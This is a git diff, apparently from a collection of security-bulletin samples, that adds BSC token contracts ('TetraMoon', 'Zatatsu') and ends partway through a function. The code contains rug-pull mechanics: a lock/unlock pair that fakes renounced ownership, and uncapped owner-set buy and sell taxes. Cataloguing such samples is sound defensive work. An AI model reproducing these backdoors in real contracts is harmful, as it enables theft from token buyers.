Renouncing ownership will leave the contract without an owner, + * thereby removing any functionality that is only available to the owner. + */ + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + * Can only be called by the current owner. + */ + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } + + function geUnlockTime() public view returns (uint256) { + return _lockTime; + } + + //Locks the contract for owner for the amount of time provided + function lock(uint256 time) public virtual onlyOwner { + _previousOwner = _owner; + _owner = address(0); + _lockTime = now + time; + emit OwnershipTransferred(_owner, address(0)); + } + + //Unlocks the contract for owner when _lockTime is exceeds + function unlock() public virtual { + require(_previousOwner == msg.sender, "You don't have permission to unlock"); + require(now > _lockTime , "Contract is locked until 7 days"); + emit OwnershipTransferred(_owner, _previousOwner); + _owner = _previousOwner; + } +} + +// pragma solidity >=0.5.0; + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + + function feeTo() external view returns (address); + function feeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + + function createPair(address tokenA, address tokenB) external returns (address pair); + + function setFeeTo(address) external; + function setFeeToSetter(address) external; +} + + +// pragma solidity >=0.5.0; + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external pure returns (string memory); + function symbol() external pure returns (string memory); + function decimals() external pure returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); + + function DOMAIN_SEPARATOR() external view returns (bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); + function nonces(address owner) external view returns (uint); + + function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; + + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); + event Swap( + address indexed sender, + uint amount0In, + uint amount1In, + uint amount0Out, + uint amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + + function MINIMUM_LIQUIDITY() external pure returns (uint); + function factory() external view returns (address); + function token0() external view returns (address); + function token1() external view returns (address); + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); + function kLast() external view returns (uint); + + function mint(address to) external returns (uint liquidity); + function burn(address to) external returns (uint amount0, uint amount1); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function skim(address to) external; + function sync() external; + + function initialize(address, address) external; +} + +// pragma solidity >=0.6.2; + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + function removeLiquidityETH( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountToken, uint amountETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountA, uint amountB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountToken, uint amountETH); + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + + function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); + function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); + function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); + function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); +} + + + +// pragma solidity >=0.6.2; + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountETH); + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + + +contract TetraMoon is Context, IERC20, Ownable { + using SafeMath for uint256; + using Address for address; + + mapping (address => uint256) private _rOwned; + mapping (address => uint256) private _tOwned; + mapping (address => mapping (address => uint256)) private _allowances; + + mapping (address => bool) private _isExcludedFromFee; + + mapping (address => bool) private _isExcluded; + address[] private _excluded; + + uint256 private constant MAX = ~uint256(0); + uint256 private _tTotal = 1000000000 * 10**6 * 10**9; + uint256 private _rTotal = (MAX - (MAX % _tTotal)); + uint256 private _tFeeTotal; + + string private _name = "TetraMoon"; + string private _symbol = "TETRAMOON"; + uint8 private _decimals = 9; + + uint256 public _taxFee = 5; + uint256 private _previousTaxFee = _taxFee; + + uint256 public _liquidityFee = 5; + uint256 private _previousLiquidityFee = _liquidityFee; + + IUniswapV2Router02 public immutable uniswapV2Router; + address public immutable uniswapV2Pair; + + bool inSwapAndLiquify; + bool public swapAndLiquifyEnabled = true; + + uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; + uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; + + event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); + event SwapAndLiquifyEnabledUpdated(bool enabled); + event SwapAndLiquify( + uint256 tokensSwapped, + uint256 ethReceived, + uint256 tokensIntoLiqudity + ); + + modifier lockTheSwap { + inSwapAndLiquify = true; + _; + inSwapAndLiquify = false; + } + + constructor () public { + _rOwned[_msgSender()] = _rTotal; + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); + // Create a uniswap pair for this new token + uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) + .createPair(address(this), _uniswapV2Router.WETH()); + + // set the rest of the contract variables + uniswapV2Router = _uniswapV2Router; + + //exclude owner and this contract from fee + _isExcludedFromFee[owner()] = true; + _isExcludedFromFee[address(this)] = true; + + emit Transfer(address(0), _msgSender(), _tTotal); + } + + function name() public view returns (string memory) { + return _name; + } + + function symbol() public view returns (string memory) { + return _symbol; + } + + function decimals() public view returns (uint8) { + return _decimals; + } + + function totalSupply() public view override returns (uint256) { + return _tTotal; + } + + function balanceOf(address account) public view override returns (uint256) { + if (_isExcluded[account]) return _tOwned[account]; + return tokenFromReflection(_rOwned[account]); + } + + function transfer(address recipient, uint256 amount) public override returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) public view override returns (uint256) { + return _allowances[owner][spender]; + } + + function approve(address spender, uint256 amount) public override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); + return true; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); + return true; + } + + function isExcludedFromReward(address account) public view returns (bool) { + return _isExcluded[account]; + } + + function totalFees() public view returns (uint256) { + return _tFeeTotal; + } + + function deliver(uint256 tAmount) public { + address sender = _msgSender(); + require(!_isExcluded[sender], "Excluded addresses cannot call this function"); + (uint256 rAmount,,,,,) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rTotal = _rTotal.sub(rAmount); + _tFeeTotal = _tFeeTotal.add(tAmount); + } + + function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { + require(tAmount <= _tTotal, "Amount must be less than supply"); + if (!deductTransferFee) { + (uint256 rAmount,,,,,) = _getValues(tAmount); + return rAmount; + } else { + (,uint256 rTransferAmount,,,,) = _getValues(tAmount); + return rTransferAmount; + } + } + + function tokenFromReflection(uint256 rAmount) public view returns(uint256) { + require(rAmount <= _rTotal, "Amount must be less than total reflections"); + uint256 currentRate = _getRate(); + return rAmount.div(currentRate); + } + + function excludeFromReward(address account) public onlyOwner() { + // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); + require(!_isExcluded[account], "Account is already excluded"); + if(_rOwned[account] > 0) { + _tOwned[account] = tokenFromReflection(_rOwned[account]); + } + _isExcluded[account] = true; + _excluded.push(account); + } + + function includeInReward(address account) external onlyOwner() { + require(_isExcluded[account], "Account is already excluded"); + for (uint256 i = 0; i < _excluded.length; i++) { + if (_excluded[i] == account) { + _excluded[i] = _excluded[_excluded.length - 1]; + _tOwned[account] = 0; + _isExcluded[account] = false; + _excluded.pop(); + break; + } + } + } + function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _tOwned[sender] = _tOwned[sender].sub(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function excludeFromFee(address account) public onlyOwner { + _isExcludedFromFee[account] = true; + } + + function includeInFee(address account) public onlyOwner { + _isExcludedFromFee[account] = false; + } + + function setTaxFeePercent(uint256 taxFee) external onlyOwner() { + _taxFee = taxFee; + } + + function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { + _liquidityFee = liquidityFee; + } + + function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { + _maxTxAmount = _tTotal.mul(maxTxPercent).div( + 10**2 + ); + } + + function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { + swapAndLiquifyEnabled = _enabled; + emit SwapAndLiquifyEnabledUpdated(_enabled); + } + + //to recieve ETH from uniswapV2Router when swaping + receive() external payable {} + + function _reflectFee(uint256 rFee, uint256 tFee) private { + _rTotal = _rTotal.sub(rFee); + _tFeeTotal = _tFeeTotal.add(tFee); + } + + function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { + (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); + return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); + } + + function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { + uint256 tFee = calculateTaxFee(tAmount); + uint256 tLiquidity = calculateLiquidityFee(tAmount); + uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); + return (tTransferAmount, tFee, tLiquidity); + } + + function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { + uint256 rAmount = tAmount.mul(currentRate); + uint256 rFee = tFee.mul(currentRate); + uint256 rLiquidity = tLiquidity.mul(currentRate); + uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); + return (rAmount, rTransferAmount, rFee); + } + + function _getRate() private view returns(uint256) { + (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); + return rSupply.div(tSupply); + } + + function _getCurrentSupply() private view returns(uint256, uint256) { + uint256 rSupply = _rTotal; + uint256 tSupply = _tTotal; + for (uint256 i = 0; i < _excluded.length; i++) { + if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); + rSupply = rSupply.sub(_rOwned[_excluded[i]]); + tSupply = tSupply.sub(_tOwned[_excluded[i]]); + } + if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); + return (rSupply, tSupply); + } + + function _takeLiquidity(uint256 tLiquidity) private { + uint256 currentRate = _getRate(); + uint256 rLiquidity = tLiquidity.mul(currentRate); + _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); + if(_isExcluded[address(this)]) + _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); + } + + function calculateTaxFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_taxFee).div( + 10**2 + ); + } + + function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { + return _amount.mul(_liquidityFee).div( + 10**2 + ); + } + + function removeAllFee() private { + if(_taxFee == 0 && _liquidityFee == 0) return; + + _previousTaxFee = _taxFee; + _previousLiquidityFee = _liquidityFee; + + _taxFee = 0; + _liquidityFee = 0; + } + + function restoreAllFee() private { + _taxFee = _previousTaxFee; + _liquidityFee = _previousLiquidityFee; + } + + function isExcludedFromFee(address account) public view returns(bool) { + return _isExcludedFromFee[account]; + } + + function _approve(address owner, address spender, uint256 amount) private { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function _transfer( + address from, + address to, + uint256 amount + ) private { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + require(amount > 0, "Transfer amount must be greater than zero"); + if(from != owner() && to != owner()) + require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); + + // is the token balance of this contract address over the min number of + // tokens that we need to initiate a swap + liquidity lock? + // also, don't get caught in a circular liquidity event. + // also, don't swap & liquify if sender is uniswap pair. + uint256 contractTokenBalance = balanceOf(address(this)); + + if(contractTokenBalance >= _maxTxAmount) + { + contractTokenBalance = _maxTxAmount; + } + + bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; + if ( + overMinTokenBalance && + !inSwapAndLiquify && + from != uniswapV2Pair && + swapAndLiquifyEnabled + ) { + contractTokenBalance = numTokensSellToAddToLiquidity; + //add liquidity + swapAndLiquify(contractTokenBalance); + } + + //indicates if fee should be deducted from transfer + bool takeFee = true; + + //if any account belongs to _isExcludedFromFee account then remove the fee + if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ + takeFee = false; + } + + //transfer amount, it will take tax, burn, liquidity fee + _tokenTransfer(from,to,amount,takeFee); + } + + function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { + // split the contract balance into halves + uint256 half = contractTokenBalance.div(2); + uint256 otherHalf = contractTokenBalance.sub(half); + + // capture the contract's current ETH balance. + // this is so that we can capture exactly the amount of ETH that the + // swap creates, and not make the liquidity event include any ETH that + // has been manually sent to the contract + uint256 initialBalance = address(this).balance; + + // swap tokens for ETH + swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered + + // how much ETH did we just swap into? + uint256 newBalance = address(this).balance.sub(initialBalance); + + // add liquidity to uniswap + addLiquidity(otherHalf, newBalance); + + emit SwapAndLiquify(half, newBalance, otherHalf); + } + + function swapTokensForEth(uint256 tokenAmount) private { + // generate the uniswap pair path of token -> weth + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = uniswapV2Router.WETH(); + + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // make the swap + uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( + tokenAmount, + 0, // accept any amount of ETH + path, + address(this), + block.timestamp + ); + } + + function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { + // approve token transfer to cover all possible scenarios + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // add the liquidity + uniswapV2Router.addLiquidityETH{value: ethAmount}( + address(this), + tokenAmount, + 0, // slippage is unavoidable + 0, // slippage is unavoidable + owner(), + block.timestamp + ); + } + + //this method is responsible for taking all fee, if takeFee is true + function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { + if(!takeFee) + removeAllFee(); + + if (_isExcluded[sender] && !_isExcluded[recipient]) { + _transferFromExcluded(sender, recipient, amount); + } else if (!_isExcluded[sender] && _isExcluded[recipient]) { + _transferToExcluded(sender, recipient, amount); + } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { + _transferStandard(sender, recipient, amount); + } else if (_isExcluded[sender] && _isExcluded[recipient]) { + _transferBothExcluded(sender, recipient, amount); + } else { + _transferStandard(sender, recipient, amount); + } + + if(!takeFee) + restoreAllFee(); + } + + function _transferStandard(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { + (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); + _tOwned[sender] = _tOwned[sender].sub(tAmount); + _rOwned[sender] = _rOwned[sender].sub(rAmount); + _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); + _takeLiquidity(tLiquidity); + _reflectFee(rFee, tFee); + emit Transfer(sender, recipient, tTransferAmount); + } + + + + +} \ No newline at end of file diff --git a/src/TSB-2023-015/metadata.json b/src/TSB-2023-015/metadata.json index 9f3f219..1c76025 100644 --- a/src/TSB-2023-015/metadata.json +++ b/src/TSB-2023-015/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-015/samples/04.sol b/src/TSB-2023-015/samples/04.sol new file mode 100644 index 0000000..1df9004 --- /dev/null +++ b/src/TSB-2023-015/samples/04.sol @@ -0,0 +1,613 @@ +/** + *Submitted for verification at BscScan.com on 2023-05-27 +*/ + +// SPDX-License-Identifier: NOLICENSE + +/** + +Telegram: https://t.me/zatatsuglobal + +*/ +pragma solidity ^0.8.10; + +interface IERC20 { + function totalSupply() external view returns (uint256); + + function balanceOf(address account) external view returns (uint256); + + function transfer(address recipient, uint256 amount) external returns (bool); + + function allowance(address owner, address spender) external view returns (uint256); + + function approve(address spender, uint256 amount) external returns (bool); + + function transferFrom( + address sender, + address recipient, + uint256 amount + ) external returns (bool); + + event Transfer(address indexed from, address indexed to, uint256 value); + + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + +abstract contract Ownable is Context { + address private _owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + constructor() { + _setOwner(_msgSender()); + } + + function owner() public view virtual returns (address) { + return _owner; + } + + modifier onlyOwner() { + require(owner() == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + function renounceOwnership() public virtual onlyOwner { + _setOwner(address(0)); + } + + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + _setOwner(newOwner); + } + + function _setOwner(address newOwner) private { + address oldOwner = _owner; + _owner = newOwner; + emit OwnershipTransferred(oldOwner, newOwner); + } +} + +interface IFactory{ + function createPair(address tokenA, address tokenB) external returns (address pair); +} + +interface IRouter { + function factory() external pure returns (address); + function WETH() external pure returns (address); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline) external; +} + +contract Zatatsu is Context, IERC20, Ownable { + + mapping (address => uint256) private _rOwned; + mapping (address => uint256) private _tOwned; + mapping (address => mapping (address => uint256)) private _allowances; + mapping (address => bool) private _isExcludedFromFee; + mapping (address => bool) private _isExcluded; + mapping (address => bool) private _isBot; + + address[] private _excluded; + + bool public swapEnabled = true; + bool private swapping; + + IRouter public router; + address public pair; + + uint8 private constant _decimals = 9; + uint256 private constant MAX = ~uint256(0); + + uint256 private _tTotal = 1e15 * 10**_decimals; + uint256 private _rTotal = (MAX - (MAX % _tTotal)); + + + uint256 public swapTokensAtAmount = 2_000_000_000_000 * 10**_decimals; + + uint256 public maxSellAmount = 1_000_000_000_000_000 * 10**_decimals; + uint256 public maxBuyAmount = 16_000_000_000_000 * 10**_decimals; + uint256 public maxWalletBalance = 16_000_000_000_000 * 10**_decimals; + + address public marketingAddress = 0xC9CBf02fe4BFCEBE9341aDE2bD69d64Ae87d80E3; + address public devAddress = 0x3Cb5aCa903E9a66776a6b441Afe19d043F0e9642; + + string private constant _name = "Zatatsu"; + string private constant _symbol = "$TATSU"; + + + struct Taxes { + uint256 rfi; + uint256 dev; + uint256 marketing; + uint256 liquidity; + } + + Taxes public taxes = Taxes(3,0,7,0); + Taxes public sellTaxes = Taxes(3,0,7,0); + + struct TotFeesPaidStruct{ + uint256 rfi; + uint256 marketing; + uint256 dev; + uint256 liquidity; + } + TotFeesPaidStruct public totFeesPaid; + + struct valuesFromGetValues{ + uint256 rAmount; + uint256 rTransferAmount; + uint256 rRfi; + uint256 rMarketing; + uint256 rDev; + uint256 rLiquidity; + uint256 tTransferAmount; + uint256 tRfi; + uint256 tMarketing; + uint256 tDev; + uint256 tLiquidity; + } + + event FeesChanged(); + + modifier lockTheSwap { + swapping = true; + _; + swapping = false; + } + + constructor () { + IRouter _router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); + address _pair = IFactory(_router.factory()) + .createPair(address(this), _router.WETH()); + + router = _router; + pair = _pair; + + excludeFromReward(pair); + + _rOwned[owner()] = _rTotal; + _isExcludedFromFee[owner()] = true; + _isExcludedFromFee[address(this)] = true; + _isExcludedFromFee[marketingAddress]=true; + _isExcludedFromFee[devAddress] = true; + + emit Transfer(address(0), owner(), _tTotal); + } + + function name() public pure returns (string memory) { + return _name; + } + function symbol() public pure returns (string memory) { + return _symbol; + } + function decimals() public pure returns (uint8) { + return _decimals; + } + + function totalSupply() public view override returns (uint256) { + return _tTotal; + } + + function balanceOf(address account) public view override returns (uint256) { + if (_isExcluded[account]) return _tOwned[account]; + return tokenFromReflection(_rOwned[account]); + } + + function transfer(address recipient, uint256 amount) public override returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) public view override returns (uint256) { + return _allowances[owner][spender]; + } + + function approve(address spender, uint256 amount) public override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { + _transfer(sender, recipient, amount); + + uint256 currentAllowance = _allowances[sender][_msgSender()]; + require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); + _approve(sender, _msgSender(), currentAllowance - amount); + + return true; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + uint256 currentAllowance = _allowances[_msgSender()][spender]; + require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); + _approve(_msgSender(), spender, currentAllowance - subtractedValue); + + return true; + } + + function isExcludedFromReward(address account) public view returns (bool) { + return _isExcluded[account]; + } + + function reflectionFromToken(uint256 tAmount, bool deductTransferRfi, bool isSell) public view returns(uint256) { + require(tAmount <= _tTotal, "Amount must be less than supply"); + if (!deductTransferRfi) { + valuesFromGetValues memory s = _getValues(tAmount, false, isSell); + return s.rAmount; + } else { + valuesFromGetValues memory s = _getValues(tAmount, true, isSell); + return s.rTransferAmount; + } + } + + function tokenFromReflection(uint256 rAmount) public view returns(uint256) { + require(rAmount <= _rTotal, "Amount must be less than total reflections"); + uint256 currentRate = _getRate(); + return rAmount/currentRate; + } + + function excludeFromReward(address account) public onlyOwner() { + require(!_isExcluded[account], "Account is already excluded"); + if(_rOwned[account] > 0) { + _tOwned[account] = tokenFromReflection(_rOwned[account]); + } + _isExcluded[account] = true; + _excluded.push(account); + } + + function includeInReward(address account) external onlyOwner() { + require(_isExcluded[account], "Account is not excluded"); + for (uint256 i = 0; i < _excluded.length; i++) { + if (_excluded[i] == account) { + _excluded[i] = _excluded[_excluded.length - 1]; + _tOwned[account] = 0; + _isExcluded[account] = false; + _excluded.pop(); + break; + } + } + } + + + function excludeFromFee(address account) public onlyOwner { + _isExcludedFromFee[account] = true; + } + + function includeInFee(address account) public onlyOwner { + _isExcludedFromFee[account] = false; + } + + + function isExcludedFromFee(address account) public view returns(bool) { + return _isExcludedFromFee[account]; + } + + function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _dev, uint256 _liquidity) public onlyOwner { + taxes.rfi = _rfi; + taxes.marketing = _marketing; + taxes.dev = _dev; + taxes.liquidity = _liquidity; + emit FeesChanged(); + } + + function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _dev, uint256 _liquidity) public onlyOwner { + sellTaxes.rfi = _rfi; + sellTaxes.marketing = _marketing; + sellTaxes.dev = _dev; + sellTaxes.liquidity = _liquidity; + emit FeesChanged(); + } + + function _reflectRfi(uint256 rRfi, uint256 tRfi) private { + _rTotal -=rRfi; + totFeesPaid.rfi +=tRfi; + } + + function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { + totFeesPaid.liquidity +=tLiquidity; + + if(_isExcluded[address(this)]) + { + _tOwned[address(this)]+=tLiquidity; + } + _rOwned[address(this)] +=rLiquidity; + } + + function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { + totFeesPaid.marketing +=tMarketing; + + if(_isExcluded[address(this)]) + { + _tOwned[address(this)]+=tMarketing; + } + _rOwned[address(this)] +=rMarketing; + } + + function _takeDev(uint256 rDev, uint256 tDev) private { + totFeesPaid.dev += tDev; + + if(_isExcluded[address(this)]) + { + _tOwned[address(this)]+= tDev; + } + _rOwned[address(this)] += rDev; + } + + function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) { + to_return = _getTValues(tAmount, takeFee, isSell); + (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rDev, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate()); + return to_return; + } + + function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) { + + if(!takeFee) { + s.tTransferAmount = tAmount; + return s; + } + Taxes memory temp; + if(isSell) temp = sellTaxes; + else temp = taxes; + + s.tRfi = tAmount*temp.rfi/100; + s.tMarketing = tAmount*temp.marketing/100; + s.tLiquidity = tAmount*temp.liquidity/100; + s.tDev = tAmount*temp.dev/100; + s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tDev-s.tLiquidity; + return s; + } + + function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 